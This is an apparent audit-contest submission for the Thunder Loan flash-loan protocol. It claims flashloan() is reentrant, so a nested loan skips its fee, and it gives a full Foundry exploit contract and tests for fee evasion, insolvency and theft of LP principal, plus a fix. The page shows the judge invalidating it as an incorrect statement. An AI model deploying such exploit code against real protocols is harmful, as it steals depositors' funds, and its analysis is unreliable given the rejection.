Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrant flashloan() credits each nested loan's fee to LPs but checks repayment only against its own balance snapshot, so the inner fee is never paid: borrowers evade fees, the pool goes insolvent and a large LP can take other LPs' principal

Root + Impact

Description

  • flashloan() lends tokens for one transaction and must make sure the pool gets back the principal plus a 0.3% fee before the call ends. The fee is credited to LPs through AssetToken.updateExchangeRate, so every unit of credited yield should be backed by tokens that actually reached the pool.

  • flashloan() has no reentrancy guard and never reads s_currentlyFlashLoaning on entry, so a receiver can open a second loan for the same token from inside executeOperation. Each call credits its fee to the exchange rate before repayment (ThunderLoan.sol L194) and checks repayment only against its own startingBalance snapshot (L182, L212-L213). The inner snapshot is already reduced by the outer principal, so the outer principal itself can pay the inner fee. Both fees are credited but only the outer fee has to arrive, which leaves LP claims larger than the assets held.

// src/protocol/ThunderLoan.sol L180-L217
// (src/upgradedProtocol/ThunderLoanUpgraded.sol L178-L215 has the same code: snapshot L180, fee credit L192, check L211)
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external { // @>
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken)); // @>
​
if (amount > startingBalance) {
revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
}
​
if (!receiverAddress.isContract()) {
revert ThunderLoan__CallerIsNotContract();
}
​
uint256 fee = getCalculatedFee(token, amount);
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
assetToken.updateExchangeRate(fee); // @>
​
emit FlashLoan(receiverAddress, token, amount, fee, params);
​
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// slither-disable-next-line unused-return reentrancy-vulnerabilities-2
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
​
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) { // @>
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

Risk

Likelihood:

  • flashloan() is permissionless. Any borrower can trigger the issue with a receiver contract whose executeOperation calls flashloan() again for the same token. No admin role, oracle movement or special pool state is needed, and both ThunderLoan and ThunderLoanUpgraded accept the reentry.

  • Fee evasion and the unbacked yield need only the outer fee as capital (0.03e18 in the PoC). Turning the unbacked yield into a profit also requires holding a large LP position (50% of the pool in the PoC) and redeeming before the other LPs, so only well-capitalized actors can run the theft variant.

  • The receiver has to be written for this on purpose. The inner loan resets s_currentlyFlashLoaning, so repay() reverts for the outer leg and the attacker settles it with a direct transfer. Ordinary borrowers who repay through repay() do not trigger the issue by accident.

Impact:

  • Loss of LP principal. In the PoC a co-LP with 500e18 runs one nested loop and redeems first. It ends with 502.47e18 against its 501e18 seed (500e18 stake plus a 1e18 buffer), a 1.47e18 profit. Only 498.53e18 is left in the pool, so the honest LP cannot recover its 500e18 deposit.

  • Insolvency. A 10e18 outer loan wrapped around a 990e18 inner loan credits both fees (0.03e18 + 2.97e18) to the exchange rate, but only 0.03e18 arrives. LP claims become 1003.0000891e18 against 1000.03e18 of assets, a gap of about 2.97e18 that the last redeemers bear.

  • Fee revenue loss. The borrower uses about 1000e18 of liquidity for a net cost of 0.03e18 instead of the 3e18 fee a single loan of that size costs, which skips 99% of the fee. The PoC runs one loop. The code does not limit how many times the nested pattern can be repeated.

Proof of Concept

test/PoC_TL-04.t.sol deploys ThunderLoanUpgraded behind an ERC1967 proxy with a 1000e18 pool and a mock price of 1e18. The last test does the same with ThunderLoan. NestedAttacker takes a 10e18 outer loan, opens a 990e18 inner loan inside the callback, repays the inner leg with repay() and repays the outer leg by transferring only the shortfall. The tests assert five things: a single honest loan is fully backed (baseline); the attacker's net cost equals the outer fee f1 (0.03e18) while the rate is credited f1 + f2; LP claims exceed pool assets by more than 0.99 * f2; a 50% co-LP who redeems first ends richer while the pool falls below the honest LP's 500e18 stake; and v1 takes the same nested path at the same cost. Run it with forge test --match-path test/PoC_TL-04.t.sol -vv.

File test/PoC_TL-04.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-04.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
​
/// Common surface of ThunderLoan and ThunderLoanUpgraded (identical signatures).
interface ITL {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function repay(IERC20 token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
function getCalculatedFee(IERC20 token, uint256 amount) external view returns (uint256);
}
​
/// A plain borrower that repays principal + fee through repay(), the intended flow.
contract HonestReceiver {
ITL private immutable tl;
​
constructor(ITL _tl) {
tl = _tl;
}
​
function borrow(IERC20 token, uint256 amount) external {
tl.flashloan(address(this), token, amount, "");
}
​
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
require(msg.sender == address(tl), "only TL");
IERC20(token).approve(address(tl), amount + fee);
tl.repay(IERC20(token), amount + fee);
return true;
}
}
​
/// Runs a small OUTER loan whose callback opens a large INNER loan of the whole
/// remaining pool. The inner leg is repaid with repay() (flag still set), the
/// outer leg with a direct transfer of only the shortfall. The inner fee is
/// funded out of the outer principal, so the contract's own net outlay is just
/// the outer fee, while BOTH fees were credited to the exchange rate.
contract NestedAttacker {
ITL private immutable tl;
IERC20 private immutable token;
​
uint256 private outerAmount;
uint256 private outerRequiredEnd;
​
constructor(ITL _tl, IERC20 _token) {
tl = _tl;
token = _token;
}
​
function depositLP(uint256 amount) external {
token.approve(address(tl), amount);
tl.deposit(token, amount);
}
​
function redeemMax() external {
tl.redeem(token, type(uint256).max);
}
​
function attack(uint256 outer, uint256 inner) external {
outerAmount = outer;
// stash the inner size for the callback via transient-ish storage
_inner = inner;
tl.flashloan(address(this), token, outer, "");
}
​
uint256 private _inner;
​
function executeOperation(address _token, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
require(msg.sender == address(tl), "only TL");
AssetToken at = tl.getAssetFromToken(IERC20(_token));
​
if (amount == outerAmount) {
// OUTER leg. Pool right now = startingBalance_outer - outerAmount.
// The outer check will require pool >= startingBalance_outer + fee.
uint256 poolAtEntry = IERC20(_token).balanceOf(address(at));
outerRequiredEnd = poolAtEntry + amount + fee;
​
// Open the INNER loan for (almost) the whole remaining pool.
tl.flashloan(address(this), IERC20(_token), _inner, "");
​
// Inner leg already repaid itself and cleared the per-token flag,
// so the outer leg cannot use repay(); settle it by a direct
// transfer of ONLY the remaining shortfall.
uint256 owed = outerRequiredEnd - IERC20(_token).balanceOf(address(at));
IERC20(_token).transfer(address(at), owed);
} else {
// INNER leg. Flag is still true here, so repay() is available.
IERC20(_token).approve(address(tl), amount + fee);
tl.repay(IERC20(_token), amount + fee);
}
return true;
}
}
​
contract PoC_TL04 is Test {
MockPoolFactory internal poolFactory;
ERC20Mock internal token;
​
uint256 internal constant POOL = 1000e18;
uint256 internal constant OUTER = 10e18; // a1
uint256 internal constant INNER = 990e18; // a2 (= pool after outer transfer)
​
function setUp() public {
poolFactory = new MockPoolFactory();
token = new ERC20Mock();
poolFactory.createPool(address(token)); // price fixed at 1e18
}
​
// ---- helpers ------------------------------------------------------------
​
function _deployUpgraded() internal returns (ITL) {
ThunderLoanUpgraded impl = new ThunderLoanUpgraded();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
ThunderLoanUpgraded(address(proxy)).initialize(address(poolFactory));
ITL tl = ITL(address(proxy));
ThunderLoanUpgraded(address(proxy)).setAllowedToken(token, true);
return tl;
}
​
function _deployV1() internal returns (ITL) {
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
ThunderLoan(address(proxy)).initialize(address(poolFactory));
ITL tl = ITL(address(proxy));
ThunderLoan(address(proxy)).setAllowedToken(token, true);
return tl;
}
​
function _seedLP(ITL tl, uint256 amount) internal {
token.mint(address(this), amount);
token.approve(address(tl), amount);
tl.deposit(token, amount);
}
​
function _claims(ITL tl) internal view returns (uint256) {
AssetToken at = tl.getAssetFromToken(token);
return at.totalSupply() * at.getExchangeRate() / at.EXCHANGE_RATE_PRECISION();
}
​
function _poolBal(ITL tl) internal view returns (uint256) {
return token.balanceOf(address(tl.getAssetFromToken(token)));
}
​
// ---- baseline: the intended single flash loan is fully backed ----------
​
function test_Baseline_SingleLoanFeeIsBacked() public {
ITL tl = _deployUpgraded();
_seedLP(tl, POOL);
​
uint256 poolBefore = _poolBal(tl);
uint256 claimsBefore = _claims(tl);
​
HonestReceiver r = new HonestReceiver(tl);
uint256 fee = tl.getCalculatedFee(token, INNER);
token.mint(address(r), fee); // honest borrower must bring the fee
r.borrow(token, INNER);
​
uint256 poolAfter = _poolBal(tl);
uint256 claimsAfter = _claims(tl);
​
// The credited yield equals the fee AND the fee really arrived.
assertEq(poolAfter - poolBefore, fee, "real pool growth == fee");
assertApproxEqAbs(claimsAfter - claimsBefore, fee, 1, "claims grew by exactly the fee");
assertGe(poolAfter, claimsAfter, "solvent: assets cover claims");
console.log("baseline fee paid & backed:", fee);
}
​
// ---- core: nested loan evades the fee and manufactures unbacked yield ---
​
function test_NestedLoan_EvadesFeeAndCreatesUnbackedYield() public {
ITL tl = _deployUpgraded();
_seedLP(tl, POOL); // one honest LP provides the whole 1000e18
​
uint256 f1 = tl.getCalculatedFee(token, OUTER); // 0.03e18
uint256 f2 = tl.getCalculatedFee(token, INNER); // 2.97e18
​
NestedAttacker atk = new NestedAttacker(tl, token);
uint256 seed = 1e18; // small buffer to cover the outer fee top-up
token.mint(address(atk), seed);
​
uint256 poolBefore = _poolBal(tl);
uint256 claimsBefore = _claims(tl);
​
atk.attack(OUTER, INNER);
​
uint256 poolAfter = _poolBal(tl);
uint256 claimsAfter = _claims(tl);
uint256 netCost = seed - token.balanceOf(address(atk));
​
// 1) FEE EVASION: the attacker accessed OUTER+INNER = ~1000e18 of
// liquidity but paid only the outer fee f1, not f1+f2.
assertEq(netCost, f1, "attacker net outlay is exactly the outer fee");
assertLt(netCost, f2, "net outlay far below the evaded inner fee");
uint256 honestFeeForSameLiquidity = tl.getCalculatedFee(token, OUTER + INNER);
assertLt(netCost * 90, honestFeeForSameLiquidity, "evaded >~99% of the fair fee");
​
// 2) UNBACKED YIELD: both fees were credited to the rate...
assertApproxEqAbs(claimsAfter - claimsBefore, f1 + f2, 1e15, "claims credited f1+f2");
// ...but only f1 of real tokens arrived.
assertEq(poolAfter - poolBefore, f1, "real tokens received == f1 only");
​
// 3) INSOLVENCY: LP claims now exceed the assets held.
assertGt(claimsAfter, poolAfter, "protocol is insolvent");
uint256 shortfall = claimsAfter - poolAfter;
assertGt(shortfall, (f2 * 99) / 100, "shortfall ~= the unpaid inner fee f2");
​
console.log("f1 (paid) :", f1);
console.log("f2 (credited,unpaid):", f2);
console.log("attacker net cost :", netCost);
console.log("claims minted :", claimsAfter);
console.log("assets held :", poolAfter);
console.log("insolvency gap :", shortfall);
}
​
// ---- theft: a co-LP turns the phantom yield into other LPs' principal ---
​
function test_NestedLoan_StealsHonestLPPrincipal() public {
ITL tl = _deployUpgraded();
AssetToken at = tl.getAssetFromToken(token);
​
// Honest LP deposits 500e18.
address honestLP = makeAddr("honestLP");
uint256 lpStake = 500e18;
token.mint(honestLP, lpStake);
vm.startPrank(honestLP);
token.approve(address(tl), lpStake);
tl.deposit(token, lpStake);
vm.stopPrank();
​
// Attacker is also a 500e18 LP and additionally runs the nested loan.
NestedAttacker atk = new NestedAttacker(tl, token);
uint256 seed = lpStake + 1e18; // 500e18 stake + loan buffer
token.mint(address(atk), seed);
atk.depositLP(lpStake);
​
assertEq(_poolBal(tl), 2 * lpStake, "pool = 1000e18 from two equal LPs");
assertEq(at.getExchangeRate(), at.EXCHANGE_RATE_PRECISION(), "rate 1e18 before attack");
​
// One nested loop credits ~0.3% unbacked yield.
atk.attack(OUTER, INNER);
​
// Attacker redeems FIRST and walks away with more than it deposited,
// having spent only the tiny outer fee on the loan itself.
atk.redeemMax();
uint256 attackerFinal = token.balanceOf(address(atk));
assertGt(attackerFinal, seed, "attacker ends richer than it started");
​
// The pool left for the honest LP can no longer cover its principal.
uint256 poolLeft = _poolBal(tl);
assertLt(poolLeft, lpStake, "honest LP cannot recover its 500e18 principal");
​
console.log("attacker seed :", seed);
console.log("attacker final :", attackerFinal);
console.log("attacker profit :", attackerFinal - seed);
console.log("pool left for LP:", poolLeft);
console.log("honest LP stake :", lpStake);
}
​
// ---- both versions: the same unguarded reentry works on v1 -------------
​
function test_NestedReentry_AlsoWorksOnV1() public {
ITL tl = _deployV1();
_seedLP(tl, POOL);
​
uint256 f1 = tl.getCalculatedFee(token, OUTER);
NestedAttacker atk = new NestedAttacker(tl, token);
uint256 seed = 1e18;
token.mint(address(atk), seed);
​
atk.attack(OUTER, INNER); // must not revert: flashloan is reentrant
​
uint256 netCost = seed - token.balanceOf(address(atk));
assertEq(netCost, f1, "v1 also lets the attacker pay only the outer fee");
console.log("v1 attacker net cost:", netCost);
console.log("v1 outer fee f1 :", f1);
}
}

Recommended Mitigation

--- a/src/protocol/ThunderLoan.sol
+++ b/src/protocol/ThunderLoan.sol
@@ -83,6 +83,7 @@
error ThunderLoan__ExhangeRateCanOnlyIncrease();
error ThunderLoan__NotCurrentlyFlashLoaning();
error ThunderLoan__BadNewFee();
+ error ThunderLoan__AlreadyFlashLoaning();
using SafeERC20 for IERC20;
using Address for address;
@@ -178,6 +179,9 @@
}
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__AlreadyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
--- a/src/upgradedProtocol/ThunderLoanUpgraded.sol
+++ b/src/upgradedProtocol/ThunderLoanUpgraded.sol
@@ -83,6 +83,7 @@
error ThunderLoan__ExhangeRateCanOnlyIncrease();
error ThunderLoan__NotCurrentlyFlashLoaning();
error ThunderLoan__BadNewFee();
+ error ThunderLoan__AlreadyFlashLoaning();
using SafeERC20 for IERC20;
using Address for address;
@@ -176,6 +177,9 @@
}
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__AlreadyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!